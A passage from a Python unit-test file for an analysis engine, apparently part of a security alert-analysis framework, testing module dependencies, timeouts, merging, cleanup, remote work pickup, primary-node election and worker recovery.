self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B))
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_C))
self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 0)
def test_wait_for_analysis_delayed(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_6')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B))
def test_wait_for_analysis_rejected(self):
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C, \
WaitAnalyzerModule_B
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_engine_032a')
test_observable.exclude_analysis(WaitAnalyzerModule_B)
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.enable_module('analysis_module_test_wait_c', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertFalse(test_observable.get_analysis(WaitAnalysis_B))
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_C))
def test_post_analysis_after_false_return(self):
# the execute_post_analysis function should be called regardless of what happened during analysis
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_post_analysis', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
from saq.modules.test import PostAnalysisTestResult
self.assertFalse(test_observable.get_analysis(PostAnalysisTestResult))
self.assertEquals(log_count('execute_post_analysis called'), 1)
def test_maximum_cumulative_analysis_warning_time(self):
# setting this to zero should cause it to happen right away
saq.CONFIG['global']['maximum_cumulative_analysis_warning_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('ACE has been analyzing'), 1)
def test_maximum_cumulative_analysis_warning_time_analysis_mode(self):
# same thing as before except we set the timeout for just the analysis mode
# setting this to zero should cause it to happen right away
saq.CONFIG['analysis_mode_test_groups']['maximum_cumulative_analysis_warning_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('ACE has been analyzing'), 1)
def test_maximum_cumulative_analysis_fail_time(self):
# setting this to zero should cause it to happen right away
saq.CONFIG['global']['maximum_cumulative_analysis_fail_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('ACE took too long to analyze'), 1)
def test_maximum_cumulative_analysis_fail_time_analysis_mode(self):
# same thing as before except we set the timeout for just the analysis mode
# setting this to zero should cause it to happen right away
saq.CONFIG['analysis_mode_test_groups']['maximum_cumulative_analysis_fail_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('ACE took too long to analyze'), 1)
def test_maximum_analysis_time(self):
# setting this to zero should cause it to happen right away
saq.CONFIG['global']['maximum_analysis_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_4')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
# will fire again in final analysis
self.assertEquals(log_count('excessive time - analysis module'), 2)
def test_maximum_analysis_time_analysis_mode(self):
# same thing as before except we set the timeout for just the analysis mode
# setting this to zero should cause it to happen right away
saq.CONFIG['analysis_mode_test_groups']['maximum_analysis_time'] = '0'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_4')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
# will fire again in final analysis
self.assertEquals(log_count('excessive time - analysis module'), 2)
def test_is_module_enabled(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_dependency_test', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
from saq.modules.test import DependencyTestAnalysis, KEY_SUCCESS, KEY_FAIL
analysis = test_observable.get_analysis(DependencyTestAnalysis)
for key in analysis.details[KEY_SUCCESS].keys():
self.assertTrue(analysis.details[KEY_SUCCESS][key])
for key in analysis.details[KEY_FAIL].keys():
self.assertFalse(analysis.details[KEY_FAIL][key])
def test_analysis_mode_priority(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
test_1_uuid = root.uuid
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_2')
root.save()
root.schedule()
test_2_uuid = root.uuid
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# we should see test_2_uuid get selected BEFORE test_1_uuid gets selected
results = [_.getMessage() for _ in search_log('got work item')]
self.assertEquals(len(results), 2)
self.assertEquals(results.index('got work item RootAnalysis({})'.format(test_2_uuid)), 0)
def test_analysis_mode_no_priority(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
test_1_uuid = root.uuid
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_2')
root.save()
root.schedule()
test_2_uuid = root.uuid
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# since we don't have any kind of priority set they should get selected in order they were inserted (FIFO)
# so we should see test_1_uuid get selected BEFORE test_2_uuid gets selected
results = [_.getMessage() for _ in search_log('got work item')]
self.assertEquals(len(results), 2)
self.assertEquals(results.index('got work item RootAnalysis({})'.format(test_1_uuid)), 0)
def test_merge(self):
# first analysis
root_1 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root_1.initialize_storage()
test_observable_1 = root_1.add_observable(F_TEST, 'test_1')
existing_user_observable = root_1.add_observable(F_USER, 'admin')
root_1.save()
root_1.schedule()
# second analysis we want to merge into the first
root_2 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root_2.initialize_storage()
test_observable_2 = root_2.add_observable(F_TEST, 'merge_test_1')
root_2.save()
root_2.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.enable_module('analysis_module_merge_test')
engine.controlled_stop()
engine.start()
engine.wait()
from saq.modules.test import BasicTestAnalysis, MergeTestAnalysis
root_1.load()
test_observable_1 = root_1.get_observable(test_observable_1.id)
self.assertIsNotNone(test_observable_1)
basic_analysis = test_observable_1.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(basic_analysis)
root_2.load()
root_1.merge(basic_analysis, root_2)
root_1.save()
# now the basic analysis should have the test_observable_2
test_observable_2 = root_1.get_observable(test_observable_2.id)
self.assertIsNotNone(test_observable_2)
# and it should have the merge analysis
merge_analysis = test_observable_2.get_analysis(MergeTestAnalysis)
self.assertIsNotNone(merge_analysis)
# and that should have a new observable of it's own
output_observable = merge_analysis.get_observables_by_type(F_TEST)
self.assertEquals(len(output_observable), 1)
output_observable = output_observable[0]
self.assertEquals(output_observable.value, 'test_output')
self.assertTrue(output_observable.has_tag('test'))
# there should also be a file observable
file_observable = merge_analysis.get_observables_by_type(F_FILE)
self.assertEquals(len(file_observable), 1)
file_observable = file_observable[0]
with open(os.path.join(root_1.storage_dir, file_observable.value), 'r') as fp:
self.assertEquals(fp.read(), 'test')
# that should have a relationship to a URL observable
self.assertEquals(len(file_observable.relationships), 1)
self.assertEquals(file_observable.relationships[0].r_type, R_DOWNLOADED_FROM)
url_observable = file_observable.relationships[0].target
self.assertTrue(isinstance(url_observable, Observable))
self.assertTrue(url_observable.value, F_URL)
# we also merged an existing observable
# so we should see this observable twice
existing_observable = root_1.get_observable(existing_user_observable.id)
self.assertIsNotNone(existing_observable)
instance_copy = merge_analysis.get_observables_by_type(F_USER)
self.assertEquals(len(instance_copy), 1)
self.assertEquals(instance_copy[0].id, existing_observable.id)
def test_error_reporting(self):
# trigger the failure this way
saq.CONFIG['global']['maximum_cumulative_analysis_fail_time'] = '0'
# remember what was already in the error reporting directory
def _enum_error_reporting():
return set(os.listdir(os.path.join(saq.DATA_DIR, 'error_reports')))
existing_reports = _enum_error_reporting()
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_3')
root.save()
root.schedule()
engine = TestEngine()
engine.copy_analysis_on_error = True
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# look at what is in the error reporting directory now
# exclude what we found before to find the new stuff
new_reports = _enum_error_reporting() - existing_reports
# we should have a single error report and a single storage directory in the error reporting directory
self.assertEquals(len(new_reports), 2)
# one should be a file and the other a directory
file_path = None
dir_path = None
for _file in new_reports:
path = os.path.join(os.path.join(saq.DATA_DIR, 'error_reports', _file))
if os.path.isfile(path):
file_path = path
if os.path.isdir(path):
dir_path = path
self.assertIsNotNone(file_path)
self.assertIsNotNone(dir_path)
# check that everything we expect to exist in the dir exists
self.assertTrue(os.path.exists(os.path.join(dir_path, 'data.json')))
self.assertTrue(os.path.exists(os.path.join(dir_path, 'saq.log')))
self.assertTrue(os.path.isdir(os.path.join(dir_path, 'stats')))
self.assertTrue(os.path.isdir(os.path.join(dir_path, '.ace')))
# go ahead and remove these since we check for them after running tests to review actual error reports
shutil.rmtree(dir_path)
os.remove(file_path)
def test_stats(self):
# clear engine statistics
if os.path.exists(os.path.join(saq.MODULE_STATS_DIR, 'ace')):
shutil.rmtree(os.path.join(saq.MODULE_STATS_DIR, 'ace'))
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# there should be one subdir in the engine's stats dir
self.assertEquals(len(os.listdir(os.path.join(saq.MODULE_STATS_DIR, 'ace'))), 1)
subdir = os.listdir(os.path.join(saq.MODULE_STATS_DIR, 'ace'))
subdir = subdir[0]
# this should have a single stats file in it
stats_files = os.listdir(os.path.join(os.path.join(saq.MODULE_STATS_DIR, 'ace', subdir)))
self.assertEquals(len(stats_files), 1)
# and it should not be empty
self.assertGreater(os.path.getsize(os.path.join(os.path.join(saq.MODULE_STATS_DIR, 'ace',
subdir, stats_files[0]))), 0)
def test_exclusion(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_6')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
# we should have two that were both excluded in different ways
self.assertEquals(len(analysis.observables), 2)
for new_observable in analysis.observables:
new_observable = analysis.observables[0]
new_analysis = new_observable.get_analysis(BasicTestAnalysis)
self.assertFalse(new_analysis)
def test_limited_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
observable.limit_analysis('basic_test')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.enable_module('analysis_module_test_delayed_analysis')
engine.enable_module('analysis_module_test_engine_locking')
engine.enable_module('analysis_module_test_final_analysis')
engine.enable_module('analysis_module_test_post_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
# there should only be one analysis performed
self.assertEquals(len(observable.all_analysis), 1)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
self.assertTrue(len(search_log('analysis for test(test_1) limited to 1 modules (basic_test)')) > 0)
def test_limited_analysis_invalid(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
observable.limit_analysis('basic_tast') # mispelled test
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.enable_module('analysis_module_test_delayed_analysis')
engine.enable_module('analysis_module_test_engine_locking')
engine.enable_module('analysis_module_test_final_analysis')
engine.enable_module('analysis_module_test_post_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
# there should be no analysis
self.assertEquals(len(observable.all_analysis), 0)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNone(analysis)
self.assertTrue(len(search_log('specified unknown limited analysis')) > 0)
#def test_cleanup(self):
#root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_cleanup')
#root.initialize_storage()
#root.save()
#root.schedule()
#engine = TestEngine()
#engine.controlled_stop()
#engine.start()
#engine.wait()
#self.assertFalse(os.path.isdir(root.storage_dir))
def test_cleanup_alt_workdir(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_cleanup')
root.storage_dir = workload_storage_dir(root.uuid)
root.initialize_storage()
root.save()
root.schedule()
engine = TestEngine()
engine.controlled_stop()
engine.start()
engine.wait()
self.assertFalse(os.path.isdir(root.storage_dir))
def test_no_cleanup(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_empty')
root.initialize_storage()
root.save()
root.schedule()
engine = TestEngine()
engine.controlled_stop()
engine.start()
engine.wait()
self.assertTrue(os.path.isdir(root.storage_dir))
def test_cleanup_with_delayed_analysis(self):
# we are set to cleanup, however, we don't because we have delayed analysis
saq.CONFIG['analysis_mode_test_groups']['cleanup'] = 'yes'
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, '00:01|00:05')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_delayed_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertFalse(os.path.isdir(root.storage_dir))
self.assertEquals(log_count('not cleaning up RootAnalysis({}) (found outstanding work)'.format(root.uuid)), 1)
def test_local_analysis_mode_single(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(local_analysis_modes=['test_groups'], pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
def test_local_analysis_mode_missing_default(self):
# when we specify a default analysis mode that is not in the locally supported modes of the engine
# it should automatically get added to the list of locally supported modes
# we specify test_single as the supported local analysis mode, but the default is test_empty
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.analysis_mode = 'test_single'
root.save()
root.schedule()
engine = TestEngine(local_analysis_modes=['test_empty'],
default_analysis_mode='test_single',
pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
# both test_empty and test_single should be in this list
self.assertEquals(len(engine.local_analysis_modes), 2)
self.assertTrue('test_single' in engine.local_analysis_modes)
self.assertTrue('test_empty' in engine.local_analysis_modes)
def test_local_analysis_mode_missing_pool(self):
# test_empty is specified as the only supported mode
# but we specify a pool for test_single
# this is a configuration error
engine = TestEngine(local_analysis_modes=['test_empty'],
default_analysis_mode='test_empty',
analysis_pools={'test_single': 1})
wait_for_log_count('attempted to add analysis pool for mode test_single which is not supported by this engine', 1, 5)
def test_local_analysis_mode_not_local(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
# but we target test_single for this analysis
root.analysis_mode = 'test_single'
root.save()
root.schedule()
# we say we only support test_empty analysis modes
engine = TestEngine(local_analysis_modes=['test_empty'])
engine.enable_module('analysis_module_basic_test', 'test_empty')
engine.controlled_stop()
engine.start()
engine.wait()
# this should exit out since the workload entry is for test_single analysis mode
# but we don't support that with this engine so it shouldn't see it
def test_local_analysis_mode_remote_pickup(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
# but we target test_single for this analysis
root.analysis_mode = 'test_single'
root.save()
root.schedule()
# remember the old storage dir
old_storage_dir = root.storage_dir
# we say we only support test_empty analysis modes
engine = TestEngine(local_analysis_modes=['test_empty'],
analysis_pools={'test_empty': 1})
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
# this should exist out since we don't support this analysis mode with this engine instance
engine.wait()
# make sure our stuff is still there
self.assertTrue(os.path.exists(old_storage_dir))
# start an api server for this node
self.start_api_server()
self.reset_config()
# now start another engine on a different "node"
saq.CONFIG['global']['node'] = 'second_host'
saq.set_node('second_host')
saq.CONFIG['analysis_mode_test_single']['cleanup'] = 'no'
# and this node handles the test_single mode
saq.CONFIG['engine']['local_analysis_modes'] = 'test_single'
saq.CONFIG['engine']['analysis_pool_size_test_single'] = '1'
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.start()
# since this is remote we can't use the technique where we call controlled_stop and
# wait for the queues to empty because only the local queue is checked (which is currently empty)
# look for the log to move the work target
wait_for_log_count('downloading work target {} from '.format(root.uuid), 1, 5)
wait_for_log_count('completed analysis RootAnalysis({})'.format(root.uuid), 1, 5)
engine.controlled_stop()
engine.wait()
# now the old storage directory should be gone
self.assertFalse(os.path.exists(old_storage_dir))
# but there should be a new one in the new "node"
root = RootAnalysis(storage_dir=storage_dir_from_uuid(root.uuid))
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
@use_db
def test_local_analysis_mode_remote_pickup_invalid_company_id(self, db, c):
# TestCase - we've got nothing to do locally but there is work
# on a remote server, but that work is assigned to a different company
# we do NOT grab that work
# first we add a new company
c.execute("INSERT INTO company ( name ) VALUES ( 'unittest' )")
db.commit()
# get the new company_id
c.execute("SELECT id FROM company WHERE name = 'unittest'")
row = c.fetchone()
self.assertIsNotNone(row)
other_company_id = row[0]
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
# but we target test_single for this analysis
root.analysis_mode = 'test_single'
root.company_id = other_company_id
root.save()
root.schedule()
# remember the old storage dir
old_storage_dir = root.storage_dir
# we say we only support test_empty analysis modes
engine = TestEngine(local_analysis_modes=['test_empty'],
analysis_pools={'test_empty': 1})
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
# this should exit out since we do not support this analysis mode with this engine
engine.wait()
# make sure our stuff is still there
self.assertTrue(os.path.exists(old_storage_dir))
# start an api server for this node
self.start_api_server()
self.reset_config()
# now start another engine on a different "node"
saq.CONFIG['global']['node'] = 'second_host'
saq.set_node('second_host')
saq.CONFIG['analysis_mode_test_single']['cleanup'] = 'no'
# and this node handles the test_single mode
saq.CONFIG['engine']['local_analysis_modes'] = 'test_single'
saq.CONFIG['engine']['analysis_pool_size_test_single'] = '1'
engine = TestEngine(local_analysis_modes=['test_single'],
analysis_pools={'test_single': 1})
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
# we should see the same thing happen since the remote work is assigned to the other company
engine.wait()
# make sure our stuff is still there
self.assertTrue(os.path.exists(old_storage_dir))
@use_db
def test_status_update(self, db, c):
# start an empty engine and wait for the node update
engine = TestEngine()
engine.start()
wait_for_log_count('updated node', 1, 5)
# do we have an entry in the nodes database table?
c.execute("SELECT name, location, company_id, last_update FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,))
row = c.fetchone()
self.assertIsNotNone(row)
self.assertEquals(row[0], saq.SAQ_NODE)
self.assertEquals(row[1], saq.API_PREFIX)
self.assertEquals(row[2], saq.COMPANY_ID)
engine.stop()
engine.wait()
@use_db
def test_node_modes_update(self, db, c):
# when an Engine starts up it updates the node_modes database with the list of analysis modes it locally supports
# configure to support two modes
engine = TestEngine(local_analysis_modes=['test_empty', 'test_single'])
engine.controlled_stop()
engine.start()
engine.wait()
# we should have two entries in the node_modes database for the current node_id
c.execute("SELECT analysis_mode FROM node_modes WHERE node_id = %s ORDER BY analysis_mode ASC", (saq.SAQ_NODE_ID,))
self.assertEquals(c.fetchone(), ('test_empty',))
self.assertEquals(c.fetchone(), ('test_single',))
# and the any_mode column should be 0 for this node
c.execute("SELECT any_mode FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,))
self.assertEquals(c.fetchone(), (0,))
@use_db
def test_node_modes_update_any(self, db, c):
# when an Engine starts up it updates the node_modes database with the list of analysis modes it locally supports
# configure to support two modes
engine = TestEngine(local_analysis_modes=[])
engine.controlled_stop()
engine.start()
engine.wait()
# we should have NO entries in the node_modes database for the current node_id
c.execute("SELECT analysis_mode FROM node_modes WHERE node_id = %s ORDER BY analysis_mode ASC", (saq.SAQ_NODE_ID,))
self.assertIsNone(c.fetchone())
# and the any_mode column should be 1 for this node
c.execute("SELECT any_mode FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,))
self.assertEquals(c.fetchone(), (1,))
@use_db
def test_primary_node(self, db, c):
# test having a node become the primary node
saq.CONFIG['engine']['node_status_update_frequency'] = '1'
engine = TestEngine()
engine.start()
wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5)
c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,))
self.assertIsNotNone(c.fetchone())
engine.stop()
engine.wait()
@use_db
def test_primary_node_contest(self, db, c):
# test having a node become the primary node
# and then another node NOT becoming a primary node because there already is one
engine = TestEngine()
engine.start()
wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5)
c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,))
self.assertIsNotNone(c.fetchone())
engine.stop()
engine.wait()
saq.set_node('another_node')
engine = TestEngine()
engine.start()
wait_for_log_count('node {} is not primary'.format(saq.SAQ_NODE), 1, 5)
engine.stop()
engine.wait()
@use_db
def test_primary_node_contest_winning(self, db, c):
# test having a node become the primary node
# after another node times out
engine = TestEngine()
engine.start()
wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5)
c.execute("SELECT name FROM nodes WHERE id = %s AND is_primary = 1", (saq.SAQ_NODE_ID,))
self.assertIsNotNone(c.fetchone())
engine.stop()
engine.wait()
# update the node to make it look like it last updated a while ago
c.execute("UPDATE nodes SET last_update = ADDTIME(last_update, '-1:00:00') WHERE id = %s", (saq.SAQ_NODE_ID,))
db.commit()
c.execute("SELECT last_update FROM nodes WHERE id = %s", (saq.SAQ_NODE_ID,))
saq.set_node('another_node')
engine = TestEngine()
engine.start()
wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5)
engine.stop()
engine.wait()
@use_db
def test_primary_node_clear_locks(self, db, c):
target = str(uuid.uuid4())
lock_uuid = str(uuid.uuid4())
self.assertTrue(acquire_lock(target, lock_uuid))
saq.LOCK_TIMEOUT_SECONDS = 0
# test having a node become the primary node
# and then clearing out an expired lock
engine = TestEngine()
engine.start()
wait_for_log_count('this node {} has become the primary node'.format(saq.SAQ_NODE), 1, 5)
wait_for_log_count('removed 1 expired locks', 1, 5)
engine.stop()
engine.wait()
# make sure the lock is gone
c.execute("SELECT uuid FROM locks WHERE uuid = %s", (target,))
self.assertIsNone(c.fetchone())
@use_db
def test_primary_node_clear_expired_local_nodes(self, db, c):
# create a local node and have it expire
engine = TestEngine()
engine.set_local()
engine.controlled_stop()
engine.start()
engine.stop()
c.execute("UPDATE nodes SET last_update = ADDTIME(last_update, '-1:00:00') WHERE id = %s", (saq.SAQ_NODE_ID,))
db.commit()
saq.set_node('another_node')
engine = TestEngine()
engine.start()
wait_for_log_count('removed 1 expired local nodes', 1, 5)
engine.stop()
engine.wait()
def test_threaded_analysis_module(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_threaded_test')
engine.controlled_stop()
engine.start()
# we should see this execute at least once
wait_for_log_count('threaded execution called', 1, 5)
engine.wait()
def test_threaded_analysis_module_broken(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
# have this fail after 1 second of waiting
saq.EXECUTION_THREAD_LONG_TIMEOUT = 1
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_threaded_test_broken')
engine.start()
wait_for_log_count('is not stopping', 1, 6)
wait_for_log_count('failing to stop - process dying', 1, 10)
engine.stop()
engine.wait()
def test_engine_worker_recovery(self):
# make sure the engine detects dead workers and replaces them
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_worker_death')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.start()
# we should see it die
wait_for_log_count('detected death of', 1, 5)
# and then we should have seen two workers start
wait_for_log_count('started worker loop', 2, 5)
engine.stop()
engine.wait()
@use_db
def test_engine_exclusive_uuid(self, db, c):
exclusive_uuid = str(uuid.uuid4())
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
root.save()
root.schedule(exclusive_uuid)
c.execute("SELECT exclusive_uuid FROM workload WHERE uuid = %s", (root.uuid,))
row = c.fetchone()
self.assertIsNotNone(row)
self.assertEquals(row[0], exclusive_uuid)
# this engine should NOT process the work item
# since the exclusive_uuid is NOT set
engine = TestEngine(pool_size_limit=1)
